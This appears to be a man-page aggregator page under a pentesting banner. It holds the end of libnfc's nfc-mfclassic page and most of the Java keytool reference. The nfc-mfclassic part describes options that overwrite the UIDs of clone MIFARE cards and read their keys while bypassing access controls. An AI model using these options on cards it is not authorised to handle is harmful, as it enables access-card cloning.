The W option allows writing of special MIFARE cards that can be ‘unlocked’ to allow block 0 to be overwritten. This includes UID and manufacturer data. Take care when amending UIDs to set the correct BCC (UID checksum). Currently only 4 byte UIDs are supported.

Similarly, the R option allows an ‘unlocked’ read. This bypasses authentication and allows reading of the Key A and Key B data regardless of ACLs.

R/W errors on some blocks can be either considered as critical or ignored. To halt on first error, specify keys with lowercase ( a or b ). To ignore such errors, use uppercase ( A or B ).

When using multiple tags infront of a reader, the U option can be used to supply the UID of tag to be read or written. Append the hexadecimal UID to the U option. For example U01ab23cd for the 4 byte UID 0x01 0xab 0x23 0xcd. Using the u parameter instead will use whatever libnfc decides which generally is the lowest UID.

*** Note that W and R options only work on special versions of MIFARE 1K cards (Chinese clones).

OPTIONS

f | r | R | w | W
Perform format ( f ) or read from ( r ) or unlocked read from ( R ) or write to ( w ) or unlocked write to ( W ) card.

a | A | b | B
Use A or B MIFARE keys. Halt on errors ( a | b ) or tolerate errors ( A | B ).

u | U
Use the default UID ( u ) or supply a valid 4 byte UID ( U<uid> ).

DUMP
MiFare Dump (MFD) used to write (card to MFD) or (MFD to card)

KEYS
MiFare Dump (MFD) that contains the keys (optional). Data part of the dump is ignored.

f
Force using the keyfile KEYS even if UID does not match (optional).

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Adam Laurie <[email protected]>,
Roel Verdult <[email protected]>,
Romain Tartière <[email protected]>,
Romuald Conty <[email protected]>.

This manual page was written by Romuald Conty <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

236 - Linux cli command keytool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command keytool and provides detailed information about the command keytool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the keytool.

NAME 🖥️ keytool 🖥️

a key and certificate management utility

SYNOPSIS

keytool [commands]

commands
Commands for keytool include the following:

  • -certreq: Generates a certificate request

  • -changealias: Changes an entry’s alias

  • -delete: Deletes an entry

  • -exportcert: Exports certificate

  • -genkeypair: Generates a key pair

  • -genseckey: Generates a secret key

  • -gencert: Generates a certificate from a certificate request

  • -importcert: Imports a certificate or a certificate chain

  • -importpass: Imports a password

  • -importkeystore: Imports one or all entries from another keystore

  • -keypasswd: Changes the key password of an entry

  • -list: Lists entries in a keystore

  • -printcert: Prints the content of a certificate

  • -printcertreq: Prints the content of a certificate request

  • -printcrl: Prints the content of a Certificate Revocation List (CRL) file

  • -storepasswd: Changes the store password of a keystore

  • -showinfo: Displays security-related information

  • -version: Prints the program version

See Commands and Options for a description of these commands with their options.

DESCRIPTION

The keytool command is a key and certificate management utility. It enables users to administer their own public/private key pairs and associated certificates for use in self-authentication (where a user authenticates themselves to other users and services) or data integrity and authentication services, by using digital signatures. The keytool command also enables users to cache the public keys (in the form of certificates) of their communicating peers.

A certificate is a digitally signed statement from one entity (person, company, and so on), which says that the public key (and some other information) of some other entity has a particular value. When data is digitally signed, the signature can be verified to check the data integrity and authenticity. Integrity means that the data hasn’t been modified or tampered with, and authenticity means that the data comes from the individual who claims to have created and signed it.

The keytool command also enables users to administer secret keys and passphrases used in symmetric encryption and decryption (Data Encryption Standard). It can also display other security-related information.

The keytool command stores the keys and certificates in a keystore.

The keytool command uses the jdk.certpath.disabledAlgorithms and jdk.security.legacyAlgorithms security properties to determine which algorithms are considered a security risk. It emits warnings when disabled or legacy algorithms are being used. The jdk.certpath.disabledAlgorithms and jdk.security.legacyAlgorithms security properties are defined in the java.security file (located in the JDK’s $JAVA_HOME/conf/security directory).

COMMAND AND OPTION NOTES

The following notes apply to the descriptions in Commands and Options:

  • All command and option names are preceded by a hyphen sign (-).

  • Only one command can be provided.

  • Options for each command can be provided in any order.

  • There are two kinds of options, one is single-valued which should be only provided once. If a single-valued option is provided multiple times, the value of the last one is used. The other type is multi-valued, which can be provided multiple times and all values are used. The only multi-valued option currently supported is the -ext option used to generate X.509v3 certificate extensions.

  • All items not italicized or in braces ({ }) or brackets ([ ]) are required to appear as is.

  • Braces surrounding an option signify that a default value is used when the option isn’t specified on the command line. Braces are also used around the -v, -rfc, and -J options, which have meaning only when they appear on the command line. They don’t have any default values.

  • Brackets surrounding an option signify that the user is prompted for the values when the option isn’t specified on the command line. For the -keypass option, if you don’t specify the option on the command line, then the keytool command first attempts to use the keystore password to recover the private/secret key. If this attempt fails, then the keytool command prompts you for the private/secret key password.

  • Items in italics (option values) represent the actual values that must be supplied. For example, here is the format of the -printcert command:

    keytool -printcert {-file cert_file} {-v}

    When you specify a -printcert command, replace cert_file with the actual file name, as follows: keytool -printcert -file VScert.cer

  • Option values must be enclosed in quotation marks when they contain a blank (space).

COMMANDS AND OPTIONS

The keytool commands and their options can be grouped by the tasks that they perform.

Commands for Creating or Adding Data to the Keystore:

  • -gencert

  • -genkeypair

  • -genseckey

  • -importcert

  • -importpass

Commands for Importing Contents from Another Keystore:

  • -importkeystore

Commands for Generating a Certificate Request:

  • -certreq

Commands for Exporting Data:

  • -exportcert

Commands for Displaying Data:

  • -list

  • -printcert

  • -printcertreq

  • -printcrl

Commands for Managing the Keystore:

  • -storepasswd

  • -keypasswd

  • -delete

  • -changealias

Commands for Displaying Security-related Information:

  • -showinfo

Commands for Displaying Program Version:

  • -version

COMMANDS FOR CREATING OR ADDING DATA TO THE KEYSTORE

-gencert
The following are the available options for the -gencert command:

  • {-rfc}: Output in RFC (Request For Comment) style

  • {-infile infile}: Input file name

  • {-outfile outfile}: Output file name

  • {-alias alias}: Alias name of the entry to process

  • {-sigalg sigalg}: Signature algorithm name

  • {-dname dname}: Distinguished name

  • {-startdate startdate}: Certificate validity start date and time

  • {-ext ext}*: X.509 extension

  • {-validity days}: Validity number of days

  • [-keypass arg]: Key password

  • {-keystore keystore}: Keystore name

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Adds a security provider by name (such as SunPKCS11) with an optional configure argument. The value of the security provider is the name of a security provider that is defined in a module.

    For example,

    keytool -addprovider SunPKCS11 -providerarg some.cfg …

    Note:

    For compatibility reasons, the SunPKCS11 provider can still be loaded with -providerclass sun.security.pkcs11.SunPKCS11 even if it is now defined in a module. This is the only module included in the JDK that needs a configuration, and therefore the most widely used with the -providerclass option. For legacy security providers located on classpath and loaded by reflection, -providerclass should still be used.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

    For example, if MyProvider is a legacy provider loaded via reflection,

    keytool -providerclass com.example.MyProvider …

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -gencert command to generate a certificate as a response to a certificate request file (which can be created by the keytool -certreq command). The command reads the request either from infile or, if omitted, from the standard input, signs it by using the alias’s private key, and outputs the X.509 certificate into either outfile or, if omitted, to the standard output. When -rfc is specified, the output format is Base64-encoded PEM; otherwise, a binary DER is created.

The -sigalg value specifies the algorithm that should be used to sign the certificate. The startdate argument is the start time and date that the certificate is valid. The days argument tells the number of days for which the certificate should be considered valid.

When dname is provided, it is used as the subject of the generated certificate. Otherwise, the one from the certificate request is used.

The -ext value shows what X.509 extensions will be embedded in the certificate. Read Common Command Options for the grammar of -ext.

The -gencert option enables you to create certificate chains. The following example creates a certificate, e1, that contains three certificates in its certificate chain.

The following commands creates four key pairs named ca, ca1, ca2, and e1:

keytool -alias ca -dname CN=CA -genkeypair -keyalg rsa
keytool -alias ca1 -dname CN=CA -genkeypair -keyalg rsa
keytool -alias ca2 -dname CN=CA -genkeypair -keyalg rsa
keytool -alias e1 -dname CN=E1 -genkeypair -keyalg rsa

The following two commands create a chain of signed certificates; ca signs ca1 and ca1 signs ca2, all of which are self-issued:

keytool -alias ca1 -certreq |
    keytool -alias ca -gencert -ext san=dns:ca1 |
    keytool -alias ca1 -importcert

keytool -alias ca2 -certreq |
    keytool -alias ca1 -gencert -ext san=dns:ca2 |
    keytool -alias ca2 -importcert

The following command creates the certificate e1 and stores it in the e1.cert file, which is signed by ca2. As a result, e1 should contain ca, ca1, and ca2 in its certificate chain:

keytool -alias e1 -certreq | keytool -alias ca2 -gencert > e1.cert

-genkeypair
The following are the available options for the -genkeypair command:

  • {-alias alias}: Alias name of the entry to process

  • -keyalg alg: Key algorithm name

  • {-keysize size}: Key bit size

  • {-groupname name}: Group name. For example, an Elliptic Curve name.

  • {-sigalg alg}: Signature algorithm name

  • {-signer alias}: Signer alias

  • [-signerkeypass arg]: Signer key password

  • [-dname name]: Distinguished name

  • {-startdate date}: Certificate validity start date and time

  • {-ext value}*: X.509 extension

  • {-validity days}: Validity number of days

  • [-keypass arg]: Key password

  • {-keystore keystore}: Keystore name

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg] }: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -genkeypair command to generate a key pair (a public key and associated private key). When the -signer option is not specified, the public key is wrapped in an X.509 v3 self-signed certificate and stored as a single-element certificate chain. When the -signer option is specified, a new certificate is generated and signed by the designated signer and stored as a multiple-element certificate chain (containing the generated certificate itself, and the signer’s certificate chain). The certificate chain and private key are stored in a new keystore entry that is identified by its alias.

The -keyalg value specifies the algorithm to be used to generate the key pair. The -keysize value specifies the size of each key to be generated. The -groupname value specifies the named group (for example, the standard or predefined name of an Elliptic Curve) of the key to be generated.

When a -keysize value is provided, it will be used to initialize a KeyPairGenerator object using the initialize(int keysize) method. When a -groupname value is provided, it will be used to initialize a KeyPairGenerator object using the initialize(AlgorithmParameterSpec params) method where params is new NamedParameterSpec(groupname).

Only one of -groupname and -keysize can be specified. If an algorithm has multiple named groups that have the same key size, the -groupname option should usually be used. In this case, if -keysize is specified, it’s up to the security provider to determine which named group is chosen when generating a key pair.

The -sigalg value specifies the algorithm that should be used to sign the certificate. This algorithm must be compatible with the -keyalg value.

The -signer value specifies the alias of a PrivateKeyEntry for the signer that already exists in the keystore. This option is used to sign the certificate with the signer’s private key. This is especially useful for key agreement algorithms (i.e. the -keyalg value is XDH, X25519, X448, or DH) as these keys cannot be used for digital signatures, and therefore a self-signed certificate cannot be created.

The -signerkeypass value specifies the password of the signer’s private key. It can be specified if the private key of the signer entry is protected by a password different from the store password.

The -dname value specifies the X.500 Distinguished Name to be associated with the value of -alias. If the -signer option is not specified, the issuer and subject fields of the self-signed certificate are populated with the specified distinguished name. If the -signer option is specified, the subject field of the certificate is populated with the specified distinguished name and the issuer field is populated with the subject field of the signer’s certificate. If a distinguished name is not provided at the command line, then the user is prompted for one.

The value of -keypass is a password used to protect the private key of the generated key pair. If a password is not provided, then the user is prompted for it. If you press the Return key at the prompt, then the key password is set to the same password as the keystore password. The -keypass value must have at least six characters.

The value of -startdate specifies the issue time of the certificate, also known as the “Not Before” value of the X.509 certificate’s Validity field.

The option value can be set in one of these two forms:

([+-]nnn[ymdHMS])+

[yyyy/mm/dd] [HH:MM:SS]

With the first form, the issue time is shifted by the specified value from the current time. The value is a concatenation of a sequence of subvalues. Inside each subvalue, the plus sign (+) means shift forward, and the minus sign (-) means shift backward. The time to be shifted is nnn units of years, months, days, hours, minutes, or seconds (denoted by a single character of y, m, d, H, M, or S respectively). The exact value of the issue time is calculated by using the java.util.GregorianCalendar.add(int field, int amount) method on each subvalue, from left to right. For example, the issue time can be specified by:

Calendar c = new GregorianCalendar();
c.add(Calendar.YEAR, -1);
c.add(Calendar.MONTH, 1);
c.add(Calendar.DATE, -1);
return c.getTime()

With the second form, the user sets the exact issue time in two parts, year/month/day and hour:minute:second (using the local time zone). The user can provide only one part, which means the other part is the same as the current date (or time). The user must provide the exact number of digits shown in the format definition (padding with 0 when shorter). When both date and time are provided, there is one (and only one) space character between the two parts. The hour should always be provided in 24-hour format.

When the option isn’t provided, the start date is the current time. The option can only be provided one time.

The value of date specifies the number of days (starting at the date specified by -startdate, or the current date when -startdate isn’t specified) for which the certificate should be considered valid.

-genseckey
The following are the available options for the -genseckey command:

  • {-alias alias}: Alias name of the entry to process

  • [-keypass arg]: Key password

  • -keyalg alg: Key algorithm name

  • {-keysize size}: Key bit size

  • {-keystore keystore}: Keystore name

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -genseckey command to generate a secret key and store it in a new KeyStore.SecretKeyEntry identified by alias.

The value of -keyalg specifies the algorithm to be used to generate the secret key, and the value of -keysize specifies the size of the key that is generated. The -keypass value is a password that protects the secret key. If a password is not provided, then the user is prompted for it. If you press the Return key at the prompt, then the key password is set to the same password that is used for the -keystore. The -keypass value must contain at least six characters.

-importcert
The following are the available options for the -importcert command:

  • {-noprompt}: Do not prompt

  • {-trustcacerts}: Trust certificates from cacerts

  • {-protected}: Password is provided through protected mechanism

  • {-alias alias}: Alias name of the entry to process

  • {-file file}: Input file name

  • [-keypass arg]: Key password

  • {-keystore keystore}: Keystore name

  • {-cacerts}: Access the cacerts keystore

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

Use the -importcert command to read the certificate or certificate chain (where the latter is supplied in a PKCS#7 formatted reply or in a sequence of X.509 certificates) from -file file, and store it in the keystore entry identified by -alias. If -file file is not specified, then the certificate or certificate chain is read from stdin.

The keytool command can import X.509 v1, v2, and v3 certificates, and PKCS#7 formatted certificate chains consisting of certificates of that type. The data to be imported must be provided either in binary encoding format or in printable encoding format (also known as Base64 encoding) as defined by the Internet RFC 1421 standard. In the latter case, the encoding must be bounded at the beginning by a string that starts with —–BEGIN, and bounded at the end by a string that starts with —–END.

You import a certificate for two reasons: To add it to the list of trusted certificates, and to import a certificate reply received from a certificate authority (CA) as the result of submitting a Certificate Signing Request (CSR) to that CA. See the -certreq command in Commands for Generating a Certificate Request.

The type of import is indicated by the value of the -alias option. If the alias doesn’t point to a key entry, then the keytool command assumes you are adding a trusted certificate entry. In this case, the alias shouldn’t already exist in the keystore. If the alias does exist, then the keytool command outputs an error because a trusted certificate already exists for that alias, and doesn’t import the certificate. If -alias points to a key entry, then the keytool command assumes that you’re importing a certificate reply.

-importpass
The following are the available options for the -importpass command:

  • {-alias alias}: Alias name of the entry to process

  • [-keypass arg]: Key password

  • {-keyalg alg}: Key algorithm name

  • {-keysize size}: Key bit size

  • {-keystore keystore}: Keystore name

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -importpass command to imports a passphrase and store it in a new KeyStore.SecretKeyEntry identified by -alias. The passphrase may be supplied via the standard input stream; otherwise the user is prompted for it. The -keypass option provides a password to protect the imported passphrase. If a password is not provided, then the user is prompted for it. If you press the Return key at the prompt, then the key password is set to the same password as that used for the keystore. The -keypass value must contain at least six characters.

COMMANDS FOR IMPORTING CONTENTS FROM ANOTHER KEYSTORE

-importkeystore
The following are the available options for the -importkeystore command:

  • -srckeystore keystore: Source keystore name

  • {-destkeystore keystore}: Destination keystore name

  • {-srcstoretype type}: Source keystore type

  • {-deststoretype type}: Destination keystore type

  • [-srcstorepass arg]: Source keystore password

  • [-deststorepass arg]: Destination keystore password

  • {-srcprotected}: Source keystore password protected

  • {-destprotected}: Destination keystore password protected

  • {-srcprovidername name}: Source keystore provider name

  • {-destprovidername name}: Destination keystore provider name

  • {-srcalias alias}: Source alias

  • {-destalias alias}: Destination alias

  • [-srckeypass arg]: Source key password

  • [-destkeypass arg]: Destination key password

  • {-noprompt}: Do not prompt

  • {-addprovider name [-providerarg arg]: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

Note:

This is the first line of all options:

-srckeystore keystore -destkeystore keystore

Use the -importkeystore command to import a single entry or all entries from a source keystore to a destination keystore.

Note:

If you do not specify -destkeystore when using the keytool -importkeystore command, then the default keystore used is $HOME/.keystore.

When the -srcalias option is provided, the command imports the single entry identified by the alias to the destination keystore. If a destination alias isn’t provided with -destalias, then -srcalias is used as the destination alias. If the source entry is protected by a password, then -srckeypass is used to recover the entry. If -srckeypass isn’t provided, then the keytool command attempts to use -srcstorepass to recover the entry. If -srcstorepass is not provided or is incorrect, then the user is prompted for a password. The destination entry is protected with -destkeypass. If -destkeypass isn’t provided, then the destination entry is protected with the source entry password. For example, most third-party tools require storepass and keypass in a PKCS #12 keystore to be the same. To create a PKCS#12 keystore for these tools, always specify a -destkeypass that is the same as -deststorepass.

If the -srcalias option isn’t provided, then all entries in the source keystore are imported into the destination keystore. Each destination entry is stored under the alias from the source entry. If the source entry is protected by a password, then -srcstorepass is used to recover the entry. If -srcstorepass is not provided or is incorrect, then the user is prompted for a password. If a source keystore entry type isn’t supported in the destination keystore, or if an error occurs while storing an entry into the destination keystore, then the user is prompted either to skip the entry and continue or to quit. The destination entry is protected with the source entry password.

If the destination alias already exists in the destination keystore, then the user is prompted either to overwrite the entry or to create a new entry under a different alias name.

If the -noprompt option is provided, then the user isn’t prompted for a new destination alias. Existing entries are overwritten with the destination alias name. Entries that can’t be imported are skipped and a warning is displayed.

COMMANDS FOR GENERATING A CERTIFICATE REQUEST

-certreq
The following are the available options for the -certreq command:

  • {-alias alias}: Alias name of the entry to process

  • {-sigalg alg}: Signature algorithm name

  • {-file file}: Output file name

  • [ -keypass arg]: Key password

  • {-keystore keystore}: Keystore name

  • {-dname name}: Distinguished name

  • {-ext value}: X.509 extension

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -certreq command to generate a Certificate Signing Request (CSR) using the PKCS #10 format.

A CSR is intended to be sent to a CA. The CA authenticates the certificate requestor (usually offline) and returns a certificate or certificate chain to replace the existing certificate chain (initially a self-signed certificate) in the keystore.

The private key associated with alias is used to create the PKCS #10 certificate request. To access the private key, the correct password must be provided. If -keypass isn’t provided at the command line and is different from the password used to protect the integrity of the keystore, then the user is prompted for it. If -dname is provided, then it is used as the subject in the CSR. Otherwise, the X.500 Distinguished Name associated with alias is used.

The -sigalg value specifies the algorithm that should be used to sign the CSR.

The CSR is stored in the -file file. If a file is not specified, then the CSR is output to -stdout.

Use the -importcert command to import the response from the CA.

COMMANDS FOR EXPORTING DATA

-exportcert
The following are the available options for the -exportcert command:

  • {-rfc}: Output in RFC style

  • {-alias alias}: Alias name of the entry to process

  • {-file file}: Output file name

  • {-keystore keystore}: Keystore name

  • {-cacerts}: Access the cacerts keystore

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg] }: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -exportcert command to read a certificate from the keystore that is associated with -alias alias and store it in the -file file. When a file is not specified, the certificate is output to stdout.

By default, the certificate is output in binary encoding. If the -rfc option is specified, then the output in the printable encoding format defined by the Internet RFC 1421 Certificate Encoding Standard.

If -alias refers to a trusted certificate, then that certificate is output. Otherwise, -alias refers to a key entry with an associated certificate chain. In that case, the first certificate in the chain is returned. This certificate authenticates the public key of the entity addressed by -alias.

COMMANDS FOR DISPLAYING DATA

-list
The following are the available options for the -list command:

  • {-rfc}: Output in RFC style

  • {-alias alias}: Alias name of the entry to process

  • {-keystore keystore}: Keystore name

  • {-cacerts}: Access the cacerts keystore

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg] }: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -list command to print the contents of the keystore entry identified by -alias to stdout. If -alias alias is not specified, then the contents of the entire keystore are printed.

By default, this command prints the SHA-256 fingerprint of a certificate. If the -v option is specified, then the certificate is printed in human-readable format, with additional information such as the owner, issuer, serial number, and any extensions. If the -rfc option is specified, then the certificate contents are printed by using the printable encoding format, as defined by the Internet RFC 1421 Certificate Encoding Standard.

Note:

You can’t specify both -v and -rfc in the same command. Otherwise, an error is reported.

-printcert
The following are the available options for the -printcert command:

  • {-rfc}: Output in RFC style

  • {-file cert_file}: Input file name

  • {-sslserver server[:port]}:: Secure Sockets Layer (SSL) server host and port

  • {-jarfile JAR_file}: Signed .jar file

  • {-keystore keystore}: Keystore name

  • {-trustcacerts}: Trust certificates from cacerts

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-protected}: Password is provided through protected mechanism

  • {-v}: Verbose output

Use the -printcert command to read and print the certificate from -file cert_file, the SSL server located at -sslserver server[:port], or the signed JAR file specified by -jarfile JAR_file. It prints its contents in a human-readable format. When a port is not specified, the standard HTTPS port 443 is assumed.

Note:

The -sslserver and -file options can’t be provided in the same command. Otherwise, an error is reported. If you don’t specify either option, then the certificate is read from stdin.

When-rfc is specified, the keytool command prints the certificate in PEM mode as defined by the Internet RFC 1421 Certificate Encoding standard.

If the certificate is read from a file or stdin, then it might be either binary encoded or in printable encoding format, as defined by the RFC 1421 Certificate Encoding standard.

If the SSL server is behind a firewall, then the -J-Dhttps.proxyHost=proxyhost and -J-Dhttps.proxyPort=proxyport options can be specified on the command line for proxy tunneling.

Note:

This command can be used independently of a keystore. This command does not check for the weakness of a certificate’s signature algorithm if it is a trusted certificate in the user keystore (specified by -keystore) or in the cacerts keystore (if -trustcacerts is specified).

-printcertreq
The following are the available options for the -printcertreq command:

  • {-file file}: Input file name

  • {-v}: Verbose output

Use the -printcertreq command to print the contents of a PKCS #10 format certificate request, which can be generated by the keytool -certreq command. The command reads the request from file. If there is no file, then the request is read from the standard input.

-printcrl
The following are the available options for the -printcrl command:

  • {-file crl}: Input file name

  • {-keystore keystore}: Keystore name

  • {-trustcacerts}: Trust certificates from cacerts

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-protected}: Password is provided through protected mechanism

  • {-v}: Verbose output

Use the -printcrl command to read the Certificate Revocation List (CRL) from -file crl . A CRL is a list of the digital certificates that were revoked by the CA that issued them. The CA generates the crl file.

Note:

This command can be used independently of a keystore. This command attempts to verify the CRL using a certificate from the user keystore (specified by -keystore) or the cacerts keystore (if -trustcacerts is specified), and will print out a warning if it cannot be verified.

COMMANDS FOR MANAGING THE KEYSTORE

-storepasswd
The following are the available options for the -storepasswd command:

  • [-new arg]: New password

  • {-keystore keystore}: Keystore name

  • {-cacerts}: Access the cacerts keystore

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

Use the -storepasswd command to change the password used to protect the integrity of the keystore contents. The new password is set by -new arg and must contain at least six characters.

-keypasswd
The following are the available options for the -keypasswd command:

  • {-alias alias}: Alias name of the entry to process

  • [-keypass old_keypass]: Key password

  • [-new new_keypass]: New password

  • {-keystore keystore}: Keystore name

  • {-storepass arg}: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

Use the -keypasswd command to change the password (under which private/secret keys identified by -alias are protected) from -keypass old_keypass to -new new_keypass. The password value must contain at least six characters.

If the -keypass option isn’t provided at the command line and the -keypass password is different from the keystore password (-storepass arg), then the user is prompted for it.

If the -new option isn’t provided at the command line, then the user is prompted for it.

-delete
The following are the available options for the -delete command:

  • [-alias alias]: Alias name of the entry to process

  • {-keystore keystore}: Keystore name

  • {-cacerts}: Access the cacerts keystore

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -delete command to delete the -alias alias entry from the keystore. When not provided at the command line, the user is prompted for the alias.

-changealias
The following are the available options for the -changealias command:

  • {-alias alias}: Alias name of the entry to process

  • [-destalias alias]: Destination alias

  • [-keypass arg]: Key password

  • {-keystore keystore}: Keystore name

  • {-cacerts}: Access the cacerts keystore

  • [-storepass arg]: Keystore password

  • {-storetype type}: Keystore type

  • {-providername name}: Provider name

  • {-addprovider name [-providerarg arg]}: Add security provider by name (such as SunPKCS11) with an optional configure argument.

  • {-providerclass class [-providerarg arg]}: Add security provider by fully qualified class name with an optional configure argument.

  • {-providerpath list}: Provider classpath

  • {-v}: Verbose output

  • {-protected}: Password provided through a protected mechanism

Use the -changealias command to move an existing keystore entry from -alias alias to a new -destalias alias. If a destination alias is not provided, then the command prompts you for one. If the original entry is protected with an entry password, then the password can be supplied with the -keypass option. If a key password is not provided, then the -storepass (if provided) is attempted first. If the attempt fails, then the user is prompted for a password.

COMMANDS FOR DISPLAYING SECURITY-RELATED INFORMATION

-showinfo
The following are the available options for the -showinfo command:

  • {-tls}: Displays TLS configuration information

  • {-v}: Verbose output

Use the -showinfo command to display various security-related information. The -tls option displays TLS configurations, such as the list of enabled protocols and cipher suites.

COMMANDS FOR DISPLAYING PROGRAM VERSION

You can use -version to print the program version of keytool.

COMMANDS FOR DISPLAYING HELP INFORMATION

You can use –help to display a list of keytool commands or to display help information about a specific keytool command.

  • To display a list of keytool commands, enter:

    keytool –help

  • To display help information about a specific keytool command, enter:

    keytool -<command> –help

COMMON COMMAND OPTIONS

The -v option can appear for all commands except –help. When the -v option appears, it signifies verbose mode, which means that more information is provided in the output.

The -Joption argument can appear for any command. When the -Joption is used, the specified option string is passed directly to the Java interpreter. This option doesn’t contain any spaces. It’s useful for adjusting the execution environment or memory usage. For a list of possible interpreter options, enter java -h or java -X at the command line.

These options can appear for all commands operating on a keystore:

-storetype storetype
This qualifier specifies the type of keystore to be instantiated.

-keystore keystore
The keystore location.

